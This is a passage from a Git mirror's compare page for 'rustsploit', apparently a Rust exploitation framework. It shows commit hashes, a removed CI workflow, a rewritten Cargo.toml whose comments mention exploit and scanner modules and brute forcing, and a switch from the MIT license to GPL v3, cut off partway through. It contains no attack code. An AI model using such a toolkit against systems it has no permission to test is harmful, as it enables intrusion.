mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
604 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| ab748265a0 | |||
| 22852e571d | |||
| 5667949990 | |||
| a2b829f89c | |||
| c9b3d331e7 | |||
| bb964cc062 | |||
| cdaea5221e | |||
| 64414efcf8 | |||
| 1fbcf6d4b5 | |||
| 61863cc301 | |||
| 906808f392 | |||
| b2c6137389 | |||
| e232427464 | |||
| ab17b25589 | |||
| 4762c3cb7f | |||
| 3d37c0c67d | |||
| 8b69bb6234 | |||
| f51d7c111b | |||
| 587f7a5163 | |||
| e0b1fbd06c | |||
| fb9ae7f3c2 | |||
| ebeb15e2b7 | |||
| 219f0710eb | |||
| c2c03295d5 | |||
| 12402c61c4 | |||
| 22aea2de44 | |||
| 347fbd71ec | |||
| c35bcf50c5 | |||
| ea1112ef4d | |||
| 3704f6239e | |||
| 13d0ca712c | |||
| d03fe5f237 | |||
| 9e121c51c0 | |||
| 82b2b087b0 | |||
| ce6e4f7e35 | |||
| f19891e03b | |||
| 0d1afe605b | |||
| ab3c86c437 | |||
| 7d3f1e8a51 | |||
| 00cf535bac | |||
| 5fff3916e3 | |||
| 7fa215aee0 | |||
| 6d69e14982 | |||
| 120832102e | |||
| 7ce7f582ce | |||
| 99ce6d9e7f | |||
| dc9f028495 | |||
| 699de58d4f | |||
| 655542e36f | |||
| 4175c164b0 | |||
| 1e657765bf | |||
| 3cd9840314 | |||
| c8d2d254a0 | |||
| f7793bc6ed | |||
| c33650e604 | |||
| 4049849a53 | |||
| a1ca9c3e43 | |||
| 4bdae0b07f | |||
| 4389cf9015 | |||
| f292e8c697 | |||
| 9616e3fea4 | |||
| 30072e4ccb | |||
| e45c346376 | |||
| d139d64bda | |||
| 849a724f0c | |||
| 3db864668c | |||
| e04c08e8d5 | |||
| 8a035a2f5b | |||
| 1afe9f5184 | |||
| 4c954a7f9f | |||
| 6a15adb0d2 | |||
| 956e2d23a2 | |||
| c774a4358a | |||
| a120f536b6 | |||
| 018f6234bb | |||
| 22f4bcf2eb | |||
| 384b09a6af | |||
| 1b50556331 | |||
| 62dbc9e2ec | |||
| 40180206fa | |||
| 9aee2764dd | |||
| f21264f99c | |||
| 7d875ede8e | |||
| c214fc0bfb | |||
| a96746297c | |||
| 96ac4d9a1a | |||
| 1a282ee99b | |||
| e7fc49d128 | |||
| 4804dcc860 | |||
| f1f1cf9855 | |||
| d250d23f3c | |||
| 2ee136e26d | |||
| 6110190d8c | |||
| 7fa6643c75 | |||
| 8c9105166f | |||
| 5775fbc016 | |||
| b5e5ac088a | |||
| 85bc679a5b | |||
| 8f83e1013b | |||
| 9ef5ec403f | |||
| 324d87b575 | |||
| a7a61b59db | |||
| 9efdcf274d | |||
| 0feab02c60 | |||
| 0a892be55a | |||
| 73f9c8f9a3 | |||
| b8b776f12a | |||
| 5d156686c6 | |||
| 630f123fe0 | |||
| aaa02ee3fe | |||
| d746c0fa69 | |||
| 1f66601843 | |||
| 386b19a17f | |||
| 9220bdceb5 | |||
| 9431916b8b | |||
| 5f168a79a3 | |||
| 63200f3d5e | |||
| 978f27e368 | |||
| 40ea4a3a74 | |||
| 90b83e4c29 | |||
| e58535d067 | |||
| d3596cf9c1 | |||
| c1963bd947 | |||
| 5ca83ef795 | |||
| c1202e98e9 | |||
| 1957eee693 | |||
| dc2763d2c4 | |||
| 8f2e4adc2d | |||
| 1c934adc33 | |||
| f37f5fa8f5 | |||
| a508bcb7dd | |||
| 260b919fba | |||
| ee3d24f6e8 | |||
| cbe7148938 | |||
| 4ec2631a2c | |||
| 4d6d127045 | |||
| 7da29ae4fe | |||
| edef9da2e5 | |||
| 0bc088d6e5 | |||
| 723241e50e | |||
| 63fb9e2387 | |||
| bd40afe476 | |||
| 537541be89 | |||
| 76a44bc3e7 | |||
| 176402c12f | |||
| 2c67cfe4ee | |||
| a4d94476e4 | |||
| 938b613cc1 | |||
| 64a0067a36 | |||
| 7feccde0b1 | |||
| 84ccbb9ce1 | |||
| 60a877ca57 | |||
| 2265480f99 | |||
| 6de9934070 | |||
| e0e2c4d8a9 | |||
| ba160cade8 | |||
| 553180eb16 | |||
| 0b17d39a05 | |||
| a348d440f8 | |||
| c60d8a69b3 | |||
| cd48200b0e | |||
| 566372adae | |||
| 9cb1ec0eb7 | |||
| 5aa35e8fe4 | |||
| 7c17a96ba4 | |||
| 4985537680 | |||
| 3514bea13c | |||
| c69ecb237a | |||
| d61d0987dc | |||
| 102d618289 | |||
| b5d0ce4c70 | |||
| 82ff19dc9d | |||
| 8d314e6d78 | |||
| aeaa894336 | |||
| 1b407c349f | |||
| 62cfce1b8d | |||
| c1f4aca340 | |||
| b6208db764 | |||
| 66679ee09d | |||
| 4a4ad714b0 | |||
| cf95a3db70 | |||
| 5434430ad0 | |||
| 6d33f0fdaa | |||
| 77124d25a2 | |||
| 7ec5089ea8 | |||
| 587e11267a | |||
| 65c6ec75b4 | |||
| 6bbb9d3048 | |||
| de6b598cd9 | |||
| d66f33193f | |||
| be2237e39b | |||
| f4935c1f9e | |||
| b646039f2e | |||
| c6c577ed52 | |||
| 77639bcf8b | |||
| 49ab851ffe | |||
| 03779dbe64 | |||
| e01e231579 | |||
| 0b31da3384 | |||
| d8e0210d70 | |||
| 803c19c2af | |||
| 41fd1ec33b | |||
| a6de04092a | |||
| f08e88055a | |||
| 6a0446996e | |||
| 9e9c78b1e5 | |||
| fea19075ce | |||
| 5735f90860 | |||
| 7df00dc03b | |||
| 8d49f2e5cf | |||
| 1d548818e6 | |||
| f66cf16931 | |||
| 9a9b8304cf | |||
| 51c0251798 | |||
| 32bed1d2a4 | |||
| 9f6d6361eb | |||
| d56ad77d1e | |||
| 8a493954b6 | |||
| c247b3b5ab | |||
| 6aadd98518 | |||
| b1759d0f86 | |||
| fe15591faa | |||
| 3b4accba35 | |||
| 1534b9aa95 | |||
| a014f9e485 | |||
| 34cb58ee01 | |||
| ac8c0e18df | |||
| cb1ff2b4e0 | |||
| 7a2af6fdf1 | |||
| 290f859058 | |||
| a3bd842971 | |||
| f38aea01c2 | |||
| 7b0a246ccc | |||
| 718719b7d1 | |||
| 2876abdbb1 | |||
| 6f98db53a5 | |||
| c1bce55552 | |||
| c0aec6ed64 | |||
| dbd2b50ef2 | |||
| eb2e8542a9 | |||
| f02c6a2274 | |||
| 5650be5720 | |||
| 4ee5eeab42 | |||
| 818a82982f | |||
| f4d7c45f1d | |||
| 421b2508a0 | |||
| e4066ceea6 | |||
| 0f2d4cad8a | |||
| 1a53215512 | |||
| 34aa655e36 | |||
| 1741c043f9 | |||
| b1ac4e0190 | |||
| 1b4dfca8e2 | |||
| a78073381b | |||
| 17e081eb16 | |||
| 5299059ca8 | |||
| d489e5d2e3 | |||
| 337d7d5249 | |||
| ef5457d00a | |||
| 0164912f52 | |||
| d62c65e8fb | |||
| cdeed7c799 | |||
| da075a08ce | |||
| d91e1d2a25 | |||
| 5d0634670b | |||
| d6d9e5e836 | |||
| 30396b2414 | |||
| a24d9c79de | |||
| aed7b0b93e | |||
| c26a0f116c | |||
| 7a781ae2fa | |||
| ba3a6480d2 | |||
| ae435a2143 | |||
| 20b610a1d5 | |||
| 9de9f0a8c9 | |||
| 66964ba639 | |||
| cb3ad7c22d | |||
| 423b0e0838 | |||
| cb053d5be3 | |||
| 39c8d8ccc8 | |||
| b2c85875fa | |||
| ee6d4e399e | |||
| 8af6d45e32 | |||
| a0c8c723dc | |||
| 97c366a846 | |||
| 7fc4148202 | |||
| ab8256fc19 | |||
| 3403cec7f9 | |||
| 99e31b1c2f | |||
| c9e93614a4 | |||
| 227dc38663 | |||
| b1ca5f1151 | |||
| 6c153eee99 | |||
| c9712dc4a9 | |||
| be1c4158af | |||
| 26913cdbf6 | |||
| f21fab17b8 | |||
| fef7339690 | |||
| 4224c696cc | |||
| 8c96ee3628 | |||
| 4b63dd711e | |||
| 0d81e0e6ed | |||
| bae1a091e4 | |||
| 7ae50993be | |||
| 948d802a3b | |||
| cd6ffb9a9e | |||
| f8e5c0af46 | |||
| 5f75e369cc | |||
| 80a4a5843c | |||
| 1051216ddd | |||
| 8eb8058ad6 | |||
| 63f8cac2ca | |||
| 71bc20cee0 | |||
| 34b6faf140 | |||
| 7f359683da | |||
| 1bbe3ae651 | |||
| 6100aa9964 | |||
| 0e3da4499f | |||
| 55a30f91f0 | |||
| 33284b158a | |||
| 624090055c | |||
| f60e5e50ca | |||
| 05f1a03dfc | |||
| 6dc6d2ecfb | |||
| 60163b46e6 | |||
| f185052df1 | |||
| a4a466083f | |||
| 1e285f95c7 | |||
| 9ac7c7fce2 | |||
| 268f7cec4f | |||
| 64c10cde10 | |||
| e534341e82 | |||
| ed30bde3ee | |||
| f166b8ac51 | |||
| 7e2a244fe5 | |||
| 512c75ebf1 | |||
| af7b2fc80f | |||
| 1cdebfead5 | |||
| 472238a883 | |||
| 408007fded | |||
| 5cb4694bad | |||
| 28c9d27857 | |||
| de0ed82830 | |||
| f4a554accf | |||
| 2e046a4ced | |||
| fd5a180702 | |||
| 80903bfdc4 | |||
| 8df8849401 | |||
| b48de95cca | |||
| 75c4a0fd71 | |||
| 5975adce78 | |||
| 1246b3f4b7 | |||
| b148f8ba14 | |||
| d4dd665efd | |||
| a5b6261101 | |||
| 06915cbc35 | |||
| b9ace5a109 | |||
| 04f1e67758 | |||
| 15a12d57e9 | |||
| e49f55eb21 | |||
| 9865225e99 | |||
| 3b33e40727 | |||
| 759f733650 | |||
| 5873ba0d5a | |||
| 3da254c19b | |||
| 986384f95c | |||
| 6e0679a162 | |||
| 8855289c45 | |||
| 21c1240d61 | |||
| 2d0743ab3a | |||
| 03fba5f883 | |||
| aea5dc5952 | |||
| 10cb64da04 | |||
| 51872dda9c | |||
| dfdecaca39 | |||
| dcefdf961c | |||
| 8f22dfeb75 | |||
| e6de81c538 | |||
| 60e1dd3c6c | |||
| f4fd03923a | |||
| 0aab4d3265 | |||
| 31b47015e6 | |||
| 06acd0a837 | |||
| 6769d5756b | |||
| 8bf13d0d2c | |||
| 2baf1c700f | |||
| 6eba62971c | |||
| fb52ae5440 | |||
| 2a503e4a18 | |||
| a859cff7ab | |||
| a8f284051b | |||
| a22b8cd3fe | |||
| 9ecb846f62 | |||
| 87558a0ddd | |||
| 2d49af6a24 | |||
| 220482758d | |||
| f1f30511d4 | |||
| 25401dcbc6 | |||
| 5839e5b346 | |||
| c114f8e1fe | |||
| 310d192bc2 | |||
| 4f878b7d36 | |||
| e03dfff879 | |||
| 91bfd85323 | |||
| 2813f21988 | |||
| 08a2af4274 | |||
| 3c65160cc3 | |||
| 3dcc51f388 | |||
| 394c5eb426 | |||
| f8bd0c2fc6 | |||
| 02e3450ea7 | |||
| a0e56948d3 | |||
| 2c6e4bfb43 | |||
| dd8f28130a | |||
| 054be52ba4 | |||
| 359ed806ba | |||
| 918d83210c | |||
| bf06138630 | |||
| 334f24092f | |||
| 878bad38eb | |||
| b7df70055d | |||
| b8998d0633 | |||
| 123918d3bf | |||
| f445d52c28 | |||
| f2bd0ae5a1 | |||
| 494d6d265d | |||
| bb28d1bf30 | |||
| 5a72376a3f | |||
| 5cbbbe2343 | |||
| 96b11ddf0c | |||
| 061176904c | |||
| de9732f7de | |||
| bfc094784a | |||
| c8eca30789 | |||
| eda2802f9b | |||
| 83161d7f70 | |||
| 45a3d49c2f | |||
| 0b9e470e3d | |||
| bb9ce994b5 | |||
| bbbaa69761 | |||
| 4625f7d31e | |||
| 900d73ea0b | |||
| d1d12cb165 | |||
| 4112a71af2 | |||
| 6a3eb5ce44 | |||
| aa21d50cb9 | |||
| 8250c927a4 | |||
| 626aa3f084 | |||
| 88427e4bc8 | |||
| 38575855d5 | |||
| 5130128663 | |||
| 8aff83df06 | |||
| f5f09f3309 | |||
| e5a70c2def | |||
| 2a29276bda | |||
| d25b58acbf | |||
| 7667872198 | |||
| e85a99ce0e | |||
| d48c946a4b | |||
| 13c23523cc | |||
| d64ccf34e5 | |||
| 681751e59a | |||
| 08e1b55da5 | |||
| 638559356f | |||
| 6a9b5354b4 | |||
| 3b16120d5b | |||
| ee5d3e11c2 | |||
| 6f61853c5f | |||
| e04e09eb64 | |||
| 01b3e5e8d2 | |||
| d531723c4d | |||
| b2ee6300b2 | |||
| 518c3b2c75 | |||
| ec963c0a0f | |||
| faebb28a55 | |||
| ad2e959fdb | |||
| a71ff971d2 | |||
| b5d7e1314b | |||
| c8c5730044 | |||
| 4be9fffd36 | |||
| 8be8d814b2 | |||
| 6e4c2a142e | |||
| 4aeb23a340 | |||
| af53756b78 | |||
| 8e182b2530 | |||
| ffabcfa277 | |||
| 101f201b30 | |||
| 903dcd896d | |||
| d823a1760a | |||
| e7c1de9ab6 | |||
| e34fda4904 | |||
| 5f8a3fcd4e | |||
| 6a3014cb2d | |||
| 02e8bf4476 | |||
| ca6f3cf2ff | |||
| 14b350e1cc | |||
| b586f03cb6 | |||
| cbe0768fe3 | |||
| c6fbdceb41 | |||
| 0a431b1431 | |||
| d8afcbd257 | |||
| 8af374401e | |||
| dea86bd358 | |||
| d13408d5cc | |||
| 2b867f7550 | |||
| 5c5171f8d7 | |||
| d1ceae6304 | |||
| 3bd0262554 | |||
| fe9e8bb0bd | |||
| 67c5b8651e | |||
| 9c33ecc8c8 | |||
| 4c8e968bb9 | |||
| 5c66d123d8 | |||
| 0369126960 | |||
| 5b951c7187 | |||
| 127bc9d20a | |||
| f2b71a4981 | |||
| 7475c22b65 | |||
| f41fc58462 | |||
| 891801514b | |||
| c9d650933a | |||
| 8080cca173 | |||
| 431dfb53a3 | |||
| c02a58f6e6 | |||
| b82685b214 | |||
| edb23f54b1 | |||
| b7a0274944 | |||
| af71c827c7 | |||
| 2d9989e735 | |||
| 8920be99ca | |||
| 075a898fd7 | |||
| 0e6fb4fa3c | |||
| e1ac588ee4 | |||
| cf4307c2b7 | |||
| 160090cb21 | |||
| f142be2b2e | |||
| 6464b95054 | |||
| da379c3d39 | |||
| fed1fc37d6 | |||
| ea08e77109 | |||
| 017e4907c5 | |||
| 06bc6134a7 | |||
| f29199e2e1 | |||
| ef1f44fc23 | |||
| ddabd9dcbc | |||
| 61d0a7ef3c | |||
| e6d5a85153 | |||
| d90f88ab91 | |||
| b4a91be121 | |||
| 9694801619 | |||
| 5313ae76f4 | |||
| bbbab50420 | |||
| 66256975ee | |||
| 87dbf50464 | |||
| 3b258196f8 | |||
| 2afa06ec1c | |||
| 62c1c0b1a2 | |||
| d11ee5cbeb | |||
| ddc6f57ade | |||
| 67a87ac70e | |||
| 16459fac69 | |||
| ae44fcb90c | |||
| 7f446b00a5 | |||
| e40938fbb5 | |||
| c841746f3c | |||
| bf06740df6 | |||
| 3be699817f | |||
| df998013b1 | |||
| b77f60a9c5 | |||
| 91d887217d | |||
| c0b9e431f5 | |||
| baf250e636 | |||
| 084b391737 | |||
| c13109589f | |||
| e0bbf7ba23 | |||
| b41b3c58c0 | |||
| 2ca6920b3d | |||
| 79cbecb69c | |||
| 837660fccf | |||
| 6c3e9a9fee | |||
| d30bc674c5 | |||
| eefd13f15d | |||
| e33c9b5511 | |||
| 7cd7a21231 | |||
| 0621f32f03 | |||
| ac38523823 | |||
| d074a8157f | |||
| d0f4ca17c6 | |||
| 62916f46dc | |||
| df629fa3e3 | |||
| 873c12cbfa | |||
| 632cab6a26 | |||
| 0ac87b3e49 | |||
| c43b1e1ae3 | |||
| f876d91986 | |||
| 49ada2bb21 | |||
| 3f87adeb60 | |||
| e216e416ca | |||
| a910b75637 | |||
| d9547dbe2e | |||
| 54b1606028 | |||
| 2228c8a19b | |||
| 0d589e9bb6 | |||
| 1ad4786466 |
@@ -1,22 +0,0 @@
|
||||
name: Rust
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ "main" ]
|
||||
pull_request:
|
||||
branches: [ "main" ]
|
||||
|
||||
env:
|
||||
CARGO_TERM_COLOR: always
|
||||
|
||||
jobs:
|
||||
build:
|
||||
|
||||
runs-on: Kali
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Build
|
||||
run: cargo build --verbose
|
||||
- name: Run tests
|
||||
run: cargo test --verbose
|
||||
+155
-16
@@ -1,26 +1,165 @@
|
||||
[package]
|
||||
name = "r_routersploit"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
name = "rustsploit"
|
||||
version = "0.4.9"
|
||||
edition = "2024"
|
||||
build = "build.rs"
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
# For HTTP requests
|
||||
reqwest = { version = "0.12.15", features = ["json"] }
|
||||
# Core / General
|
||||
anyhow = "1.0"
|
||||
colored = "3.1" # newer than 2.0
|
||||
rand = "0.10"
|
||||
rustyline = "18.0"
|
||||
|
||||
# For CLI parsing
|
||||
clap = { version = "4.5.35", features = ["derive"] }
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.6", features = ["derive"] }
|
||||
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
|
||||
# Async runtime for networking
|
||||
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread"] }
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.13", default-features = false, features = ["json", "cookies", "socks", "multipart", "form", "stream", "rustls-no-provider", "charset", "http2"] }
|
||||
h2 = "0.4"
|
||||
http = "1.4"
|
||||
bytes = "1.11.1"
|
||||
tokio-rustls = { version = "0.26", default-features = false, features = ["ring", "logging", "tls12"] }
|
||||
url = "2.5"
|
||||
quick-xml = "0.39"
|
||||
data-encoding = "2.10"
|
||||
semver = "1.0"
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0.97"
|
||||
# Crypto & Encoding
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
md5 = "0.8"
|
||||
flate2 = "1.1"
|
||||
base64 = "0.22"
|
||||
|
||||
#teminal color
|
||||
colored = "3.0.0"
|
||||
# Networking & Protocols
|
||||
socket2 = { version = "0.6", features = ["all"] }
|
||||
pnet_packet = "0.35"
|
||||
ipnetwork = "0.21"
|
||||
regex = "1.12" # newest listed
|
||||
which = "8.0"
|
||||
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0.0"
|
||||
# FTP
|
||||
suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = { version = "0.23", default-features = false, features = ["ring", "logging", "std", "tls12"] }
|
||||
rustls-pemfile = "2" # used by exploit/scanner modules
|
||||
hyper = { version = "1", features = ["http1", "server"] }
|
||||
hyper-util = { version = "0.1", features = ["tokio", "service"] }
|
||||
|
||||
tokio-socks = "0.5.2"
|
||||
# Telnet
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
|
||||
# SSH
|
||||
libc = "0.2"
|
||||
|
||||
# Resource limits (safe wrapper for getrlimit/setrlimit)
|
||||
rlimit = "0.11"
|
||||
|
||||
|
||||
# Bluetooth
|
||||
btleplug = "0.12"
|
||||
|
||||
# WPair migrated from ratatui+crossterm TUI to rustyline REPL — deps removed.
|
||||
|
||||
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
|
||||
# rdp = "0.12"
|
||||
|
||||
# WebSocket (Spotube exploit)
|
||||
tokio-tungstenite = "0.29"
|
||||
|
||||
# Futures
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
# JSON & Serialization
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
|
||||
# API Server (Axum)
|
||||
axum = { version = "0.8", features = ["ws"] }
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
|
||||
uuid = { version = "1.23", features = ["v4", "serde"] }
|
||||
|
||||
# DNS
|
||||
hickory-client = { version = "0.25" }
|
||||
hickory-proto = "0.25"
|
||||
|
||||
# Logging
|
||||
tracing = "0.1"
|
||||
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
||||
|
||||
# Misc utilities
|
||||
once_cell = "1.21"
|
||||
home = "0.5" # updated for edition 2024 compatibility
|
||||
pnet = "0.35"
|
||||
des = { version = "0.8.1", features = ["zeroize"] }
|
||||
zeroize = { version = "1", features = ["derive"] }
|
||||
sha1 = "0.10"
|
||||
strsim = "0.11"
|
||||
ssh2 = "0.9.5"
|
||||
num_cpus = "1.17.0"
|
||||
|
||||
|
||||
# Constant-time comparison for security (timing attack prevention)
|
||||
subtle = "2.6"
|
||||
aes-gcm = "0.10.3"
|
||||
|
||||
# Post-Quantum Encryption (PQXDH: X25519 + ML-KEM-768 hybrid, ChaCha20-Poly1305 AEAD)
|
||||
ml-kem = "0.2.3"
|
||||
kem = "=0.3.0-pre.0"
|
||||
rand_core = { version = "0.6", features = ["getrandom"] }
|
||||
x25519-dalek = { version = "2.0", features = ["static_secrets"] }
|
||||
chacha20poly1305 = "0.10"
|
||||
hkdf = "0.12"
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.12"
|
||||
walkdir = "2.5"
|
||||
|
||||
# Dependency overrides to address security advisories in transitive dependencies
|
||||
# RUSTSEC-2026-0009: time >=0.3.47 fixes DoS via stack exhaustion (used by reqwest via cookie/cookie_store)
|
||||
time = "0.3.47"
|
||||
# (ratatui 0.29 transitive advisories cleared when the TUI was replaced with rustyline.)
|
||||
|
||||
# ============================================
|
||||
# Development profile: Fast incremental builds
|
||||
# ============================================
|
||||
[profile.dev]
|
||||
opt-level = 0 # No optimization for fastest compile
|
||||
debug = true # Keep debug symbols
|
||||
incremental = true # Enable incremental compilation
|
||||
split-debuginfo = "unpacked" # Faster link times
|
||||
|
||||
# Optimize dependencies in dev mode (they don't change often)
|
||||
[profile.dev.package."*"]
|
||||
opt-level = 2 # Deps are optimized but your code isn't
|
||||
|
||||
# ============================================
|
||||
# Release profile: Maximum performance
|
||||
# ============================================
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = "fat"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
strip = true
|
||||
|
||||
# ============================================
|
||||
# Custom profile: Fast release builds for testing
|
||||
# Usage: cargo build --profile fast-release
|
||||
# ============================================
|
||||
[profile.fast-release]
|
||||
inherits = "release"
|
||||
lto = "thin" # Faster than fat LTO
|
||||
codegen-units = 4 # Parallel codegen
|
||||
|
||||
@@ -1,21 +1,674 @@
|
||||
MIT License
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (c) 2025 S.B
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
Preamble
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
